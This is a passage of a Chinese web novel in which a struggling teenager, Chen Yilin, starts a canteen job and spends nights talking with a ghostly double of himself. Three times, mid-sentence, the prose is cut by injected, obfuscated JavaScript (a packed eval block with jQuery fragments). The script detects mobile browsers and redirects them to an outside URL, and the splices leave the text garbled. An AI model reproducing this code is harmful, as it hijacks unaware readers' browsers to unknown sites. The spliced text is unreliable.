“陈亦临”这才从水槽里走出来,靠在墙边观察他刷碗。
陈亦临用一只手随便在碗里搅了搅,用水一冲就要放起来。
“陈亦临”倒吸了口凉气:“就完了?”
“不然呢?”陈亦临皱眉。
“上面的油渍都没冲干净,还有泡沫,你再用热水洗一遍。”“陈亦临”宛如一个挑剔的老师,“还有你那双筷子,都发霉了,换双新的吧,对身体不好。”
陈亦临想把碗扣他脑袋上。
“陈亦临”见他脸色难看,又不紧不慢地找补道:“只是个小小的建议,我亲爱的朋友。”
陈亦临暴躁地将碗和筷子重新洗了一遍:“别喊我朋友。”
“陈亦临”恍然大悟:“那喊亲爱的?”
陈亦临一脸恶心地看着他,“陈亦临”眼底带着恶作剧得逞的笑意,尾随他来到了餐桌前。
“说吧,你要研究什么?”陈亦临一屁股坐回了椅子上,甩了甩左手上的水。
“先把桌子擦一下吧。”“陈亦临”叹气,“你撒上汤了。”
陈亦临深吸了口气,拿起抹布随便将桌子一擦,“陈亦临”盯着那条看不出颜色的抹布欲言又止,下一秒就对上了陈亦临要杀人的目光。
“……哈哈。”他不尴不尬地笑了一声。
陈亦临故意将抹布扔到他面前,就看见“陈亦临”不着痕迹地往后躲了一下,又若无其事地移了回来。
他挑了下眉毛,盯着“陈亦临”道:“说吧。”
“陈亦临”顿时来了精神,他摸了摸下巴,道:“如果假定我们现在处于两个平行的世界里,就能解释为什么你查不到淮微省和荒市这些具体的地址,而且我们的世界常识目前看来是完全一致的,这也能用平行世界的理论得到印证——当然要确定这个结论,还需要更多的细节来推导,毕竟目前我们的时间流速是否一致、空间交汇是否持续这些问题都还没有得到确定,因为时间是一维性的,空间是三维的,那我们就能利用这一点来进行一些实验,比如同时测算时间,相似空间内同时进行高精度的物理实验,那个著名的时间实验你知道吧……”
陈亦临听他说着,脸上的神情越来越严肃。
操,怎么听不懂?
“陈亦临”兴致勃勃地阐述了一番自己的想法,满怀期待地看着他:“怎么样,我说得有道理吗?”
陈亦临用力地点了点头。
像网吧里的微积分课,明明说得是人话,但就是完全无法理解。
“陈亦临”冲他竖起了根大拇指:“好样的朋友,我们不愧是一个人,这就是灵魂上的同频共振。”
陈亦临掀起沉重地眼皮:“嗯。”
明天早上不如煮点面条,他看柜子里还剩半包,应该没发霉。
不过发霉也无所谓,煮熟能杀菌。
“接下来我们探讨一下见面条件。”两根修长的手指敲了敲他面前的桌子,“陈亦临同学,认真听讲。”
陈亦临抬起头来看向他,勾起嘴角轻轻笑了一下。
“陈亦临”被他笑得一愣。
陈亦临又板起了脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560165|186930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,恢复了一副冷酷厌倦的样子:“说。”
“对,见面条件。”“陈亦临”回过神来,继续道,“你说你之前见过我四次,但我都没有见到你,而且就算有‘接触’也感觉不到热气——每当这种时候,你是以‘灵魂’的方式存在,但每次我见到你,也都是以‘灵魂’的方式存在,不同的是我们都能看见彼此,而且交汇时都能感受到热气,所以我猜测我所处的这个世界可能比你所处的世界更‘高级’一些,所以我的‘灵魂’能‘降临’。”
陈亦临拧起眉:“要不再让你爸妈带你去看看脑子吧?”
这个幻觉神神叨叨的。
“陈亦临”却依旧沉浸在自己的世界里:“算起来你‘遇见’我四次,我‘遇见’你——或者说我们共同“遇见”三次……感觉次数不太对,你之前还见过我吗?”
陈亦临想起第一次见他时被陈顺打得半死,木着脸道:“没有。”
“算了,这也不是很重要。”“陈亦临”凑近他,“我已经推测出了每次遇见你的规律,地点都在我家里,时间不固定,但我的状态一般都是比较放松愉悦的时候,你呢,你每次遇见我都是什么状态?”
陈亦临皱起眉回忆了一下:他被陈顺打个半死、被吴时阴阳怪气后孤身一人在操场看人打球、脑震荡在医院刚醒、一个人在家啃油菜、失业闲逛到医院……
回忆结束,他的脸色更冷了:“不知道。”
“陈亦临”苦恼地盯着他,手指有规律地敲着桌面:“看来我们还要总结更多的经验,对了,我妈给我求了一个护身符,上次就是那东西让我没法跟着你去网吧,我已经偷偷丢掉了,你也注意别放什么护身符在身上,万一我们见不了面就糟了。”
陈亦临问:“什么样的护身符?”
“就是——”“陈亦临”的声音戛然而止,旋即脸上的笑容逐渐扩大,他抬手撑在桌子上,笑着俯身凑近他,“朋友,你不会是不想再看见我了吧?”
被猜中心里的陈亦临面色更瘫了,幽幽道:“你能撑得到桌子吗?”
“陈亦临”笑眯眯道:“我撑得我这边的书桌,今晚还有好多作业没做呢?你呢,作业做完了吗?”
“……”陈亦临突然不想再和他继续研究了。
“肯定没做完。”“陈亦临”十分理解地拍了拍他的肩膀,“我懂。”
一股热气擦着脸颊而过,陈亦临用拇指使劲按了按餐桌砸坏的缺角,指腹传来的密集地疼意让他稍微清醒了过来。
和一个幻觉说了这么久的废话,简直就是浪费时间。
他闭上眼睛,使劲掐了掐眉心。
“你怎么了——”“陈亦临”似乎伸手碰了他的额头一下,但伴随着他睁眼的动作,声音逐渐变得模糊,最后彻底消失。
空荡的房间里只剩下昏黄的灯光,乱七八糟洒了满地。
陈亦临看了看指腹洇出的血,将拇指塞进嘴里用力地咬了一下,更加尖锐的疼痛传来,他垂下眼盯着餐桌上的脏抹布,扯起嘴角凉凉地笑了一声。
“操。”
7. 工作
重新踏进芜城技术学院熟悉的食堂,陈亦临还是有点紧张。
现在不是饭点,大厅里只有搞卫生的阿姨,几个窗口里的职工在收拾餐盒,李建民电话里告诉他直接去二楼找自己,陈亦临拽了拽右手宽大的袖子,试图把石膏盖得更严实一点。
“陈亦临?”吴时粗粝的声音突然从他背后响起。
吴时包的档口正好在餐厅一楼的拐角处,陈亦临特意选了另一个楼梯口,没想到还是碰上了。
他转过身,就看见吴时拖着个垃圾桶站在那里,吴时和陈顺差不多大,中等个子身材肥胖,后缩的下巴全是青黑的胡茬,陈亦临总觉得他做饭不太干净。
见陈亦临不说话,吴时面色不善地皱起眉毛,嚷道:“你来找我也没用,半个月你都请了两次假,我他妈一天才挣多少钱?你知不知道你没法干了给我造成了多大的损失?我也就是看在你爸的面子上不跟你计较,你还真好意思再来找我,我都没让你赔我钱。”
陈亦临险些被他的唾沫星子喷到,警惕地后退了两步,冷声道:“不是来找你的。”
吴时听完顿时更心虚了,他死死瞪着陈亦临,咬着牙压低了声音:“你找领导也没用,你是没满十八周岁,我是看你可怜才让你来打工,你别恩将仇报。”
陈亦临扫了他一眼:“也没打算找领导。”
奈何吴时自觉亏心,他见陈亦临这么淡定,心里越发犯起嘀咕,眼珠子转了转:“你等我一下。”
他拖着垃圾桶进了窗口后面,没过一会儿又快步走出来,往陈亦临手里塞了五百块钱,没好气道;“多给你五十,咱俩这账就算结了,平时看着挺老实的,怎么净干些缺德事儿?”
“……”陈亦临简直莫名其妙,但没有到手的钱不要的道理,何况这本来就是他的工资。
于是他将钱往兜里一揣,慢悠悠道:“谢谢吴叔,我只是来吃个饭。”
说完,也不管吴时什么反应,他直接上了二楼。
吴时才不信他的鬼话,抻长了脖子盯着,直到他拐上了楼梯,才晦气地呸了一声。
陈亦临刚上二楼,就看见李建民在和另一个人说话,李建民一看见他,就热情地朝他招了招手:“哎,正说你呢小陈,过来。”
陈亦临快步走过去:“李总好。”
“这是我一个侄子,年龄上小点儿,但是家庭呢比较困难,手也受了点伤,先过来兼职几个月。”李建民笑眯眯地对那个领导模样的人道,“闻老师啊,你平时事情多我也不好麻烦你,等转过年去,到时候我再给他办正式入职。”
被他喊闻老师的男人身形清瘦,戴着副黑框眼镜,他上身穿着件藏青色的行政夹克,里面是浅蓝色的衬衫,下面是黑色的西装裤和皮鞋,看起来就很有文化的样子。
“老师好。”陈亦临很有礼貌地打招呼。
闻老师打量了他一眼,客气道;“没事儿,你安心在这里干,你的情况李经理都告诉我了,学校这边也理解,不过工作是一方面,我们还是要以安全为主,尽量别干累活儿。”
这话说得很漂亮,李建民和他握了握手:“麻烦你了闻老师。”
闻老师又看了陈亦临一眼,笑道:“行,我办公室还有事,先走了。”
李建民拍了拍陈亦临的肩膀:“闻经纶老师是综合办公室的主任,后勤部也归他管,虽然说这事儿可大可小,但跟人家知会一声咱们心里就有底了,是不是?”
陈亦临感激地点头:“谢谢李总。”
“嗐,不用,喊叔就行。”李建民摆摆手,带着他拐进旁边的后厨入口,道:“这个炸鸡汉堡的档口是新开的,也算是个人包下来的,后面我还打算上奶茶,现在还处于试经营阶段,招了两个员工,你就先在旁边跟着学,给你开实习工资,先一个月一千二,别嫌少啊。”
陈亦临喜出望外:“不少。”
“嘿。”李建民被他逗乐了,“等你转正了,一个月两千三。”
陈亦临眼睛一亮:“好的!”
李建民和炸鸡汉堡的两个员工简单交流了一下,这两位员工一个高一个矮,他指着高个子道:“小高,以后你就带着小陈,他手受伤了不太方便,你担待着点。”
小高连连点头。
李建民很快就离开了,小高笑嘻嘻地看着陈亦临:“你好啊,我叫高博乐,我今年二十四应该比你大,你喊我乐哥就行,他叫宋志学。”
陈亦临点头:“乐哥,宋哥。”
宋志学话少,不冷不热地点了点头,高博乐笑道:“没事儿,咱们窗口刚开,不怎么忙,你先学着怎么做,手不方便的话就先擦擦桌子什么的。”
这个人看起来很好相处,陈亦临悬着的心放下了大半。
直到他穿上了工作服,才有种踏实的感觉,前几天一直混吃等死让他异常焦虑,现在他终于又有了努力的方向。
食堂的工作不算累,而且大概看他是李建民亲自安排进来的,高博乐和宋志学两个人对他对很客气,完全不像吴时那么苛刻,外加上陈顺自打离婚后就不再回家,陈亦临的心情好了不止一星半点。
他按部就班地上了两个星期的班,右手也能勉强活动了,他能做的事情也多了起来。
这天高博乐硬要拽着他去一楼:“天天吃汉堡都要吐了,我们去一楼买点清淡的午饭吃。”
今天生意很好,饭点还没过,他们做的汉堡和炸鸡就已经卖完了。
“我不去了,吃汉堡就很好。”陈亦临拒绝了他。
“哎呀,求你了,我自己一个人吃不下去饭。”高博乐却不肯撒手,“而且听说一楼的绿豆冰沙特别好吃,走吧,我请你。”
陈亦临有点心动,于是就跟着他下了楼。
高博乐说得没错,一楼的绿豆冰沙确实美味,他们混在一群学生里排了半天的队买了两杯,又去买了两份青菜和米饭,两个人找了张桌子坐下来吃饭。
“哎,李老板是你亲叔叔吗?”高博乐有点好奇地问。
陈亦临不想给李建民惹麻烦,摇了摇头,但更详细的却不再多说,含糊其词地糊弄过去。好在高博乐也只是随口一问,他指了指一楼门口卖烤肠和烤红薯的摊位:“哎,看见那个人了吗?”
陈亦临顺着他指的方向望过去,就看见一个染着黄毛的青年,这么冷的天对方却只穿着件大logo的短袖,手上戴了七八个戒指,很酷炫。
“别看了,他原本想上咱们档口来着,一直在磨李老板,李老板不太喜欢他,始终没松口。”高博乐小声道,“这小子挺混的,你平时多注意点儿,之前我看他上来溜达了好几次。”
陈亦临依稀记得在档口前见过他两次,闻言点了点头:“行。”
不过他也没怎么放在心上,毕竟他只想踏实挣钱。
二楼。
宋志学正在擦窗台,就有人溜达了进来:“哎,老宋,生意怎么样啊?”
宋志学看了一眼来人,是一楼拐角处的吴时,道:“还成吧,也就那样。”
“谦虚了啊,李经理亲自开的档口,肯定不少挣钱。”吴时递给了他一根烟。
宋志学接过来却没抽,就听吴时道:“我跟你打听个事儿,你们档口新来的那个小孩儿怎么样啊?”
“陈亦临?”宋志学问。
“对,就是他,之前在我档口干的,这小子手不太干净,让我给辞了。”吴时咧嘴笑道,“李经理一个月给他开多少钱呀?”
之前他好几次碰见陈亦临往二楼跑,一开始以为他来吃饭,后来实在好奇就跟上来看了看,结果发现这小子偷偷在二楼的这个档口又找了新活,每次想起自己塞给陈亦临的那五百块钱,他都气得抓心挠肝。
宋志学皱起了眉:“一千二。”
“嚯,不少啊。”吴时有些不爽地啧了一声,笑道,“你一个月也就两千块钱吧,他还什么都不干。”
宋志学说:“李经理给开的,和我没关系。”
“老宋啊,你就是太老实。”吴时嗤笑了一声,“不信你就等着吧,陈亦临这小子一直都挺会偷奸耍滑的。”
宋志学没搭腔,吴时又没滋没味地聊了几句,才溜达着下了楼。
“一千二,姓李的真有钱。”他酸溜溜地撇了撇嘴,又想起自己白搭进去的那五百块,转了转眼珠子,从兜里掏出了满是油污的手机,找到电话号码拨了出去。
很快电话就接通了,里面传来了搓麻将的声音,吴时脸上满是轻蔑,但声音却很热情:“喂,老陈呐,忙啥呢?……嗐,没事儿,那什么,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560166|186930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小陈他不是手受伤了嘛,我借了他一千块钱之后他就不干了,啧,你说到这也没还给我……哎,小孩子不懂事,我也不是要你还,就是他又在楼上找了个新档口,我寻思着等他发了工资……啊?你不知道这事儿啊……”
听着对面陈顺愈发暴躁的声音,吴时心中的那口恶气才算勉强散开,他笑道:“你回去好好跟小陈说啊,孩子都这么大了,别老是动手。”
……
——
今天下班早,陈亦临不想太早回家,他背着包去了图书馆。
那天为了不浪费三十块的上网费,除了上微积分课他还查了不少乱七八糟的东西,虽然他考上了高中没上成,但初中毕业三年后是能参加高考的,只是还需要通过高中的学业水平测试获得高中同等学历,满十八周岁后用社会考生的身份报名……只是前段时间发生的事情太多,他压根没有心思去想这件事情。
但现在他找到工作可以赚钱了,而且林晓丽还给他留下了八千多,虽然不知道读大学要花多少钱,但一份工作和八千块的存款足够给他勇气来图书馆了。
他翻开买来的高中课本,认真看了起来,尽管这些知识对他来说异常陌生。
晚上十点,街道上已经没几辆车了,昏黄的路灯藏在茂盛的树枝里,陈亦临还心情颇好地捡了片枫叶。
“嗨~”一道轻飘飘的招呼声从他身后传来。
陈亦临猛地回头,就看见“陈亦临”穿着一身黑站在自己身后,尽管他胆子很大,但也被吓了一跳。
“好久不见。”“陈亦临”幽幽地盯着他说,“你不会真的搞到护身符了吧?”
“……没有。”陈亦临看了他一眼,背着书包继续往前走。
“你们这么晚才放学吗?”“陈亦临”飘到他身边,“几节晚自习?”
陈亦临抿了抿嘴唇,神色冷淡了几分。
“陈亦临”似乎已经习惯了他这幅样子,故意拿肩膀撞了撞他:“朋友,别不理我,我今天很难过,想和人说说话。”
这倒是有点稀奇了,陈亦临一直觉得对方整天笑眯眯的没心没肺,没想到他也会有难过的时候。
于是他停下脚步,站在了树下,声音冷酷:“说。”
“陈亦临”叹了口气:“我外婆去世了。”
陈亦临愣了一下,他对自己的外婆印象极少,当年外公外婆非常反对林晓丽嫁给陈顺,等陈亦临出生后他们几乎断绝了往来,他上次见到外婆还是几年前,他提着东西跟在林晓丽后面,被老太太拿着扫帚轰出了门。
“节哀。”他有些生疏地开口。
“陈亦临”看起来有些恹恹的,但还是勾起嘴角冲他笑了笑:“好敷衍啊。”
陈亦临面无表情地看着他。
“外婆一直在国外养病,我们很少见面,但听到她去世的消息我还是很难过。”“陈亦临”叹了口气,“还有,上次你突然赶我走,我也很难过。”
陈亦临:“……”
“哈,没想到我看出来了吧?”“陈亦临”抱起胳膊,仿佛站在了道德的制高点,他嚣张地凑近陈亦临,“说话。”
尽管只是一团热气,但陈亦临还是不习惯和别人靠这么近,于是他拿着手里捡到的枫叶,在眼前扇了扇。
原本就半透明的“陈亦临”在空气中模糊了一瞬,抬手捂住了自己的脸;“你打我?!”
“靠得太近了。”陈亦临冷冷道。
“陈亦临”却故意更近了一步,几乎和他身形完全重合,幽幽道;“那这样呢?有本事你再扇一下。”
从四肢百骸传来了源源不断的暖意,陈亦临大步往前走,“陈亦临”就大步跟着他,仿佛他的第二道影子形影不离,就这么走了几十米,他停下来抹了把脸:“别闹了。”
“陈亦临”这才大发慈悲地从他身体里出来,笑吟吟道:“你今天吃得炸鸡吗?身上好香啊。”
陈亦临使劲闭了闭眼睛,然而再睁眼,“陈亦临”依旧站在他面前,他叹了口气:“你想干什么?”
他算明白了,如果不满足这个“幻觉”的要求,这家伙是很难自动消失的。
“陈亦临”想了想,抬手将胳膊搭在了他的肩膀上,一副哥俩好的架势问:“你们这儿有公园吗?”
8.星星
半夜的津水河公园里只有零星几盏灯,北风一吹,泛黄的树叶就能哗啦啦落一大片,胶面泛黄的运动鞋踩上去,发出了清脆的断裂声。
陈亦临缩着肩膀弓着背,试图让自己暖和一点。
“你们这里的公园还挺好看。”他的幻觉在发出感慨,“朋友,这河能钓上鱼来吗?”
“不知道,没钓过。”陈亦临顺着他的目光看向黑漆漆的河面,有些发愣。
他记得自己很小的时候,陈顺和林晓丽经常带他来这里玩,那时候陈顺还没有染上赌博,林晓丽会给他穿上厚厚的衣服,他一边牵着一只手,被提溜起来荡秋千,那时候芜城的秋天还没有这么冷。
他吸了吸鼻子,目光忽然一顿,对着水中央的人吼了一嗓子:“干什么呢!”
飘在水里的“陈亦临”被吼得一哆嗦,他转过头嘚瑟地冲陈亦临展示:“看,我会轻功水上漂。”
“回来!”陈亦临又吼了一声。
“陈亦临”优哉游哉地走了回来,笑道:“怕什么,我又接触不到这里的现实世界。”
陈亦临冷冷地看了他一眼,转身就走。
“哎!”“陈亦临”赶紧跟上他,歪过头看他,“生气啦?”
“你自己玩吧。”陈亦临没好气地挥开他。
“我一个人玩多没意思。”“陈亦临”和他肩并肩走在一块儿,“好啦,我不吓唬你了。”
陈亦临脚步未停,他觉得半夜带个幻觉来公园的自己,像个智障。
“朋友~亲爱的~”被抛弃的幻觉还在骚扰他,“临临~”
陈亦临深吸了一口,转过头就和他来了个脸对脸,差一点就能亲上,他猛地往后退了一步。
“陈亦临”显然也被吓了一跳,戏谑道:“干嘛啊,想强吻?”
陈亦临抽了抽嘴角:“没那个爱好。”
“陈亦临”笑眯眯地看着他,往前走了一步,陈亦临往后退了一步,他恶劣地挑了一下眉,又往前走了一步,陈亦临又往后退了一步,结果后腰抵在了河边的栏杆上。
“陈亦临”嚣张道:“有本事再退啊。”
陈亦临:“你再过来我喊救命了。”
“陈亦临”:“你喊破喉咙也不会有人来救你的。”
陈亦临喊:“破喉咙。”
“陈亦临”愣了愣,旋即笑出了声:“神经病。”
陈亦临扯了扯嘴角,转过身靠在栏杆上看脚底下的水面:“你爸妈带你去看病怎么样了?”
“陈亦临”靠过来站在他身边,热烘烘一片,他说:“没查出什么东西来,医生说可能是高三精神压力太大,让多注意休息。”
“高三很累吧?”陈亦临问。
“还行,年级第一还是比较轻松的,全市第一有点不太稳。”“陈亦临”矜持道,“你呢?”
“……”陈亦临沉默了一瞬,“就那样。”
“陈亦临”十分善解人意,搂住他的肩膀笑道:“朋友,要不要帮你辅导一下?”
陈亦临有点心动:“收费吗?”
“我就算想收也收不到啊。”“陈亦临”笑道,“还是说你要烧给我?”
“操。”陈亦临笑了起来。
“陈亦临”盯着他看了好一会儿,陈亦临被他盯得很不自在:“看什么?”
“你笑起来其实挺好看的。”“陈亦临”又靠近了他一点,整个人都和他重合在了一起。
暖烘烘的触感挡住了河边的冷风,陈亦临压平了嘴角,却没有躲开:“你照镜子笑一样。”
“不一样。”幻觉说,“你特别不一样,我喜欢跟你待在一起,很舒服很放松,好像自己变成了另一个样子。”
陈亦临轻嗤了一声,垂下眼睛看着自己搭在栏杆上的手,在黑夜中依稀能看见另一只并不能完全和他重合的手,相同的筋骨和皮肤的纹路,带着暖意,让他原本冰冷的手指逐渐开始回温。
如果放在鬼故事里,这分明是要夺舍,但他现在却无法抗拒甚至甘之如饴。
……真是疯了。
“太晚回家可以吗?”“陈亦临”问他。
“无所谓。”陈亦临有点贪恋他身体的温度,“没人管我。”
“陈亦临”似乎想问什么,但直到最后也没问,而是和他一起站在河岸边吹着冷风,有一搭没一搭地说着话。
不知道是不是因为两个人完全重合在一起,陈亦临能清晰地感受到对方低落的情绪,细密缠绵地贴在他身上,温暖潮湿得像件雨天晾不干的毛衣。
“你不回家吗?”陈亦临坐在草地里,靠着身后的松树,困顿地打了个哈欠。
“我就在家里,我爸妈在操办丧礼,今晚用不到我。”“陈亦临”的声音同样带上了倦意,他和陈亦临一起坐在草地上,“其实我一点儿也没感觉到伤心。”
陈亦临的意识有些模糊,将自己往他身体里靠了靠:“没关系,你们又不熟。”
“陈亦临”的笑声像是贴着他的耳朵:“我又穿了件大衣,这样有没有觉得更暖和一点儿?”
陈亦临道:“本来也不冷。”
他在食堂忙了一天,实在累得有些撑不住,可今天的“陈亦临”不开心,虽然只是个幻觉——还是个有自己的想法和爱好的幻觉,那他也可以用一晚上陪着对方看看河,看看星星。
就好像也有人在陪着自己一样。
凉爽的秋夜繁星满天,倒映在津水河里,陈亦临被热烘烘的暖意包围着,隔绝了深夜的冷风,听着身边絮絮叨叨的声音,沉沉地闭上了眼睛。
细小的鼾声传来,“陈亦临”起身看了一眼。
原来是睡着了。
他蹲在陈亦临对面,看着对方身上单薄的外套和发白的牛仔裤,还有快穿开胶的运动鞋,幽幽地叹了口气,伸出手指轻轻戳了戳对方紧皱的眉头,小声道:“陈亦临,回家睡吧,我没那么难过了。”
陈亦临却睡得很沉。
他无奈地看着他,想了想,拽起了床上的棉被披在了身上,然后靠在床头,保持着同样的姿势坐了下来,好确保自己能完全覆盖住陈亦临。
“我现在像不像你的大外套?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562551|186930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他仰起头看天上的那些星星,“你会不会也是天上的一颗星星?”
明明能看见,却偏偏触碰不到。
“谢谢你今天陪我。”“陈亦临”说。
夜凉如水,两个人在树下沉沉地睡了过去。
——
陈亦临觉得自己病得越来越严重了。
“你的意思是说,因为你的幻觉心情不好,所以你陪他去津水河公园看河看星星看了一夜,然后早上被遛狗的好心市民喊醒,然后发现自己感冒了,对吗?”庞郭值了一天的急诊夜班,听完陈亦临的叙述,合理怀疑自己困疯了。
“对。”陈亦临吸了吸鼻子,“本来不冷的,他给我挡着风,不过后来天快亮了,他就消失了。”
“……”庞郭抹了把脸,“你现在不应该拿感冒药,你应该拿点治疗精神分裂的药。”
“不用,我之前很害怕,但是现在感觉挺好的。”陈亦临一本正经道,“我就只拿感冒药。”
“你那不叫感觉挺好,叫病得更严重了。”庞郭撕了张纸写下了一串电话号码,“这是我一个在精神病院的同学,等你哪天觉得撑不住了,可以去找他看看,他收费特别低。”
陈亦临接过纸条,仔细装进了书包里:“谢谢你,郭医生。”
庞郭心累地摆摆手:“赶紧拿药去吧。”
现在是凌晨五点半,离上班还有点时间,陈亦临拿完药背着书包回家,打算先洗个澡煮点面吃完再去食堂。
钥匙插进锁眼,刚拧半圈门就打开了。
陈亦临心脏一沉,警惕地退后了半步,下意识做好了逃跑的姿势,一旦陈顺冒头,他立马从这儿蹦到楼梯下边儿。
然而只有扑面而来的烟味,房间里静悄悄一片。
陈亦临等了几秒,才壮着胆子走进门,旋即拧起了眉。
客厅里扔满了烟头和啤酒瓶子,茶几上是散乱的扑克牌,餐桌上是满满当当的外卖盒子,沙发的扶手上还放着把菜刀。
陈亦临盯着那把刀看了许久,直接手心里沁出汗来,他才松开了门把手。
陈顺昨天晚上回来过。
他一时摸不准扶手上那把菜刀的用途,但毫无疑问这是陈顺的某种恐吓,大概之前被他拿着菜刀砍很没面子,这个王八蛋迟早要找回来。
卧室里的衣柜和书桌都被翻得乱七八糟,他所有的衣服都被丢了出来,口袋都被翻过,之前松动的地板也被撬开,床也被挪动过……他甚至能想象到陈顺找不到钱暴怒的样子。
陈亦临看着面前的一片狼藉,太阳穴突突直跳,原本因为感冒不通畅的呼吸更加艰难,仿佛下一秒就会窒息而亡。
他放下书包,沉默地收起着满地的垃圾。
幸好陈顺只是偶尔回来一次。
幸好他把银行卡藏在了其他地方。
幸好……昨晚“陈亦临”拽着他去了河边。
他将那把菜刀放回了厨房的刀架上,想起昨天晚上“陈亦临”裹着被子的样子,轻轻笑出了声。
如果是星星的话,那也一定是颗幸运星。